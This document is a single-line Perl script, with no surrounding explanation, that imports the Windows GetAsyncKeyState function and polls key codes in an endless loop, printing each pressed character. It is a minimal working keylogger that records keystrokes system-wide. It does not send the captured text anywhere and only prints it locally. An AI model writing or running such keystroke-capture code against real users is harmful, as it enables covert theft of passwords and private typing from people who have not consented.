use Win32::API; Win32::API->Import("user32", "int GetAsyncKeyState(int I)"); while(1) { for(32..128) { $state = GetAsyncKeyState($_); next unless $state; print chr($_); } select(undef,undef,undef,0.1); }